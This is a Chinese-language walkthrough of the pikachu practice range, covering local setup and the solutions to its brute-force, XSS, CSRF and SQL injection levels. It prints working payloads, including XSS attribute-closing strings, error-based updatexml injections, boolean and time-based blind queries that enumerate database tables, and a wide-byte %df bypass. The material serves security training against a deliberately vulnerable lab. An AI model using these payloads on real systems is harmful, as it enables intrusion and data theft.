pikachu靶场搭建,与暴力破解、xss、csrf、SQL注入模块详解

靶场搭建

小皮+pikachu

小皮官网下载 

pikachu下载地址

https://github.com/zhuifengshaonianhanlu/pikachu

下载完解压到小皮的www目录下,需要修改配置文件 WWW\pikachu-master\inc目录下的

config.inc.php文件

就行访问,localhost/pikachu-master 可能会初始化,也可能直接进入

我这里就是直接进入,但未连接到数据库,自己有创建了一个pikachu数据库

再打开就行了访问http://127.0.0.1/pikachu-master/install.php

暴力破解

基于表单的暴力破解

输入任意用户名和密码进行登录,抓包,重放reperter正常,

放在inturder进行爆破

 验证码绕过(on server)

 发现此页面多了验证码

 

发现服务端先校验验证码,还是可以进行对用户名和密码进行爆破

抓包,放intruder

 

 验证码绕过(on client)

这一关前端对验证吗的验证,没什么用处

还是可以进行抓包进行暴力破解,

 

 token防爆破?

token验证机制增大了爆破的难度,每次客户端请求服务端会返回token值,要爆破的话就必须要加上这个token值,每次刷新就会产生新的token值

 

选用pitchfork模式

配置资源池 最大线程为1

 

配置Options---Grep-Extract

Redirections 设为Never,或Always

 

 

 Cross-Site Scripting

反射型xss(get)

限制输入长度,前端修改

最简单的xss代码就能注入,没有什么过滤

反射型xss(post)

登录进去(admin/123456)

写入xss语句

 存储型xss

DOM型xss

需要构造<a>标签闭合语句,并嵌入弹窗

'onclick ="alert('xss')">

 

DOM型xss-x

随便输入字符,看看怎么输出或者过滤

输出在url上显示出来,还是构造<a>标签的闭合

'οnclick="alert('xss')">

 

xss之盲打

在这边输入xss弹窗语句,登录后台进行查看

 

xss之过滤

猜测对script进行绕过,采用大小写进行尝试,成功

 xss之htmlspecialchars

htmlspecialchars()函数把一些预定义的字符转换为html实体

发现被记录了

 

对特殊字符进行编码

没有对单引号进行编码

利用单引号进行闭合,参考dom型来构造

' οnclick='alert(111)'

还可以使用javascript:alert(111)

 xss之href输出

href是规定链接的目标,

        输出的时候只允许http或https开头的协议,才允许输出

        再进行htmlspecialchars处l理

javascript:alert(111)

 xss之js输出

将插入的弹窗语句写入了原有的<script>标签中

';alert('11111');//

 

 

使用’将其闭合,然后使用</script>将原有的<script>结束,在插入payload

输入: '</script><script>alert('xss')</script>

 CSRF

csrf(get)

根据提示,登录其中的一个用户,并修改个人信息,抓包

将其中的url复制下来,进行伪造将boy改为girl

在新标签浏览器访问,修改成功

csrf(post)

修改个人信息进行抓包,修改ad住址:beijing

 

 csrf(token)

还是在修改信息的时候抓取数据包

发现增加了随机token,不容易伪造。

SQL-inject

数字型注入(post)

 是post注入的数字型,抓取数据包进行测试

通过测试没有什么过滤,直接输入sql语句,进行查询

order by 2 正确,order by 3 报错,说明有两个字段

 

 

字符型注入(get)

因为是字符型注入 输入 1' or '1'='1

下面的就都一样了,使用'进行闭合

 

 

搜索型注入

通过测试,和上一关字符型一样,只不过存在三个字段

 

 

下面的查表,查列,查数值和上面一样

xx型注入

单引号,双引号都不行,发现是')

两个字段

 "insert/update"注入

insert  : 插入  update: 更新

本题应用报错注入的方法进行解答,对注册用户进行抓包

' or updatexml(1,concat(0x7e,version()),0) or'

 查询数据库名:' or updatexml(1,concat(0x7e,database()),0) or'

 爆出列名

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0) or'

 

 delete注入

点击删除处 ,会显示id

 抓包

还是采用报错注入,不过要使用+来拼接字符代替空格

查数据库名

 id=57+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)

 返回值不能大于一行,使用limit(limit3,1)3表示从第几个表开始,1表示显示1个

 

 

"http header"注入

登录之后显示这个

应该是在user-agent注入, 报错注入

 

 

 

盲注(base on boolian)

布尔盲注 kobe' and 1=1#(正常)  kobe' and 1=2#(报错)

 在布尔盲注的过程中,有一些函数

比如ascii():  返回最左边字符的ASCII码。如果字符串为空,则返回return 0; 如果字符串为null,则返回null

length(): 返回字节类型的字符串长度

Mid(string,start,length)

先获取数据库的长度,在一个一个第去判断出数据库的字符

kobe' and length(database())=7  (正确)

 猜解第一个字符

kobe' and ascii(mid(database(),1,1))>115 #

爆数据库的所有表个数

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5#(正确)

爆第一个数据表的长度

kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8# (正确)

爆第一个表的每一个字符

kobe' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104# (正确)

爆users表的第一个字段长度

kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 # (正确)

爆users表的第一个字段值

kobe' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105 #

盲注(base on time)

延时十秒,确定为延时注入

数据库长度

kobe' and if(length(database())=7, sleep(10),1)#

判断数据库名

kobe' and if((substr(database(),1,1))='p', sleep(10),null)#

判断数据表内表的个数

kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(10),1)#

判断第一个表的长度

kobe' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(10),1)#

判断第一个表的第一个字母

kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(10),1)#

宽字节注入

 

 mysql数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是‘運’,从而使单引号闭合,进行注入

就是比平常的注入多了一个%df

比如 1%df' union select 1,2#

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值